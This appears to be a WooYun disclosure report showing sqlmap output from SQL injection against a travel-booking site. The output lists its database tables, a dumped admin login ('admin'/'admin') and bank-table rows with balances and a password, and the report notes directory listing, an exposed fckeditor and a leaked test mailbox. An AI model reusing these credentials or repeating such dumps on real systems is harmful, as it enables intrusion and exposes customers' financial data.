WooYun.org

Database: xincheng
[189 tables]
+-------------------------+
| dbo.Airways |
| dbo.Bank |
| dbo.CW_out |
| dbo.Credit |
| dbo.Hctuipiao |
| dbo.Hotel_City |
| dbo.Hotel_LandMarks |
| dbo.Hotel_OrderInfo |
| dbo.Hotel_PageSumInfo |
| dbo.Hotel_SingleAvail |
| dbo.Hotel_StaticInfos |
| dbo.Invoice |
| dbo.MybunkMessage |
| dbo.Notebook |
| dbo.OtherParm |
| dbo.PayOut |
| dbo.Qticket |
| dbo.Report_mb |
| dbo.Report_mb_member |
| dbo.Roles |
| dbo.Roles_flag |
| dbo.System_Warn |
| dbo.System_info |
| dbo.Tasks |
| dbo.Tplanetype |
| dbo.Visor |
| dbo.admin |
| dbo.air |
| dbo.air_cab_class |
| dbo.aircity |
| dbo.airpiao |
| dbo.b2b_users |
| dbo.bm_login |
| dbo.books |
| dbo.bwtclass |
| dbo.bx_base |
| dbo.bx_product |
| dbo.cardnumjl |
| dbo.cgimg |
| dbo.city |
| dbo.cjr_login |
| dbo.cjrcard |
| dbo.company_bm |
| dbo.company_center |
| dbo.company_clk |
| dbo.company_flag |
| dbo.company_logo |
| dbo.company_news |
| dbo.company_sms |
| dbo.contact_info |
| dbo.cw_gd |
| dbo.cwkou |
| dbo.danceshow |
| dbo.dbbak_history |
| dbo.fax_send |
| dbo.fax_submit |
| dbo.ft_City |
| dbo.ft_Config |
| dbo.ft_TAPrice |
| dbo.fun_info |
| dbo.funclass |
| dbo.funnum |
| dbo.funnumandcg |
| dbo.funprice |
| dbo.funsmallclass |
| dbo.funticket |
| dbo.gjqz |
| dbo.gjqz_f |
| dbo.gjticket |
| dbo.glhotel |
| dbo.hccity |
| dbo.hcnews |
| dbo.hcnewsclass |
| dbo.hcorder |
| dbo.hcsheng |
| dbo.hcsite |
| dbo.hcsmallclass |
| dbo.hf_history |
| dbo.hide_flight |
| dbo.hotel |
| dbo.hotelorder |
| dbo.huoche |
| dbo.jbitem |
| dbo.jp_detail |
| dbo.jp_line |
| dbo.kefu |
| dbo.kefubm |
| dbo.ldt_history |
| dbo.link |
| dbo.lv_items |
| dbo.lv_items_mb |
| dbo.lv_orders_mx |
| dbo.lv_sclass |
| dbo.member |
| dbo.member_table |
| dbo.member_yu |
| dbo.menu_b |
| dbo.menu_s |
| dbo.message_mb |
| dbo.money_mx |
| dbo.money_other |
| dbo.news_read |
| dbo.oa_item |
| dbo.oa_main |
| dbo.orders_design |
| dbo.otherclass |
| dbo.pay_money |
| dbo.pay_money_main |
| dbo.pay_money_other |
| dbo.payfs |
| dbo.piaobei |
| dbo.piaodian |
| dbo.piaodian_yu |
| dbo.plane_site |
| dbo.plane_xinhao |
| dbo.pnr |
| dbo.pnr_history |
| dbo.pnrdetail |
| dbo.postMain |
| dbo.postRe |
| dbo.ptype_set |
| dbo.resms |
| dbo.room |
| dbo.salestable |
| dbo.searchhotel |
| dbo.sfk_submit |
| dbo.sfk_submit_mx |
| dbo.sfkmx_other_view |
| dbo.sfkmx_view |
| dbo.sheng |
| dbo.shop_bigclass |
| dbo.shop_order |
| dbo.shop_product |
| dbo.shop_smallclass |
| dbo.showcgimg |
| dbo.showfunticket |
| dbo.sms |
| dbo.sms_key |
| dbo.soupiaoren |
| dbo.sys_nav |
| dbo.system_tx |
| dbo.tourbig |
| dbo.tourclass |
| dbo.tourday |
| dbo.tourline |
| dbo.tourlist |
| dbo.tournews |
| dbo.tourorder |
| dbo.traininfo |
| dbo.travel_item |
| dbo.travel_money |
| dbo.travel_order |
| dbo.travel_order_detail |
| dbo.tuipiao |
| dbo.view_cw |
| dbo.view_hctuipiao |
| dbo.view_js |
| dbo.view_kefu |
| dbo.view_ldhistory |
| dbo.view_member_yu |
| dbo.view_pay_mx_main |
| dbo.view_piaodian_yu |
| dbo.view_scgq |
| dbo.view_travel_order |
| dbo.view_tuipiao |
| dbo.viewbmpnr |
| dbo.viewcjr |
| dbo.viewgjticket |
| dbo.viewglhotel |
| dbo.viewhc |
| dbo.viewhcorder |
| dbo.viewhorder |
| dbo.viewother |
| dbo.viewpnr |
| dbo.viewtgclass |
| dbo.viewwt |
| dbo.wtOrderDetails |
| dbo.wtOrders |
| dbo.wtgroup |
| dbo.wttgclass |
| dbo.xcd_ps_main |
| dbo.yc_group |
| dbo.yjbooks |
| dbo.zc_class |
| dbo.zc_list |
| dbo.zclist |
| dbo.zhou |
| dbo.zy_class |
| dbo.zy_zclist |
+-------------------------+
[22:44:05] [INFO] fetched data logged to text files under 'F:\x\SQLMAP~1\Bin\out
put\www.starstrip.net'
Database: xincheng
Table: dbo.bank
[10 columns]
+------------+---------+
| Column | Type |
+------------+---------+
| bank | varchar |
| bankurl | varchar |
| content | text |
| group_flag | varchar |
| huname | varchar |
| hunum | varchar |
| id | int |
| login | varchar |
| money | money |
| password | varchar |
+------------+---------+
[22:55:40] [INFO] fetched data logged to text files under 'F:\x\SQLMAP~1\Bin\out
put\www.starstrip.net'
Database: xincheng
Table: dbo.admin
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
+----------+----------+
[23:07:24] [INFO] table 'xincheng.dbo.admin' dumped to CSV file 'F:\x\SQLMAP~1\B
in\output\www.starstrip.net\dump\xincheng\admin.csv'
[23:07:24] [INFO] fetched data logged to text files under 'F:\x\SQLMAP~1\Bin\out
put\www.starstrip.net'
[*] shutting down at 23:07:24
Database: xincheng
Table: dbo.Bank
[7 entries]
+----------+------------+---------+----------+
| money | login | hunmae | password |
+----------+------------+---------+----------+
[23:10:36] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
| ????? | <blank> | <blank> |
| 0.00 | chenyin | <blank> | 519000 |
| 4144.63 | ????????? | <blank> | <blank> |
| 4151.58 | ?????????? | <blank> | <blank> |
| 4588.19 | ????????? | <blank> | <blank> |
| 0.00 | ??? | <blank> | <blank> |
| 1830.65 | ????? | <blank> | <blank> |
+----------+------------+---------+----------+
[23:10:36] [INFO] table 'xincheng.dbo.Bank' dumped to CSV file 'F:\x\SQLMAP~1\Bi
n\output\www.starstrip.net\dump\xincheng\Bank.csv'
[23:10:36] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 60 times
[23:10:36] [INFO] fetched data logged to text files under 'F:\x\SQLMAP~1\Bin\out
put\www.starstrip.net'
[*] shutting down at 23:10:36
站点的目录还可以遍历，如JS,CSS,IMAGES，upfiles，等，如图所示：

还有一个fckeditor,如图所示：

内部测试邮箱泄露，如图所示：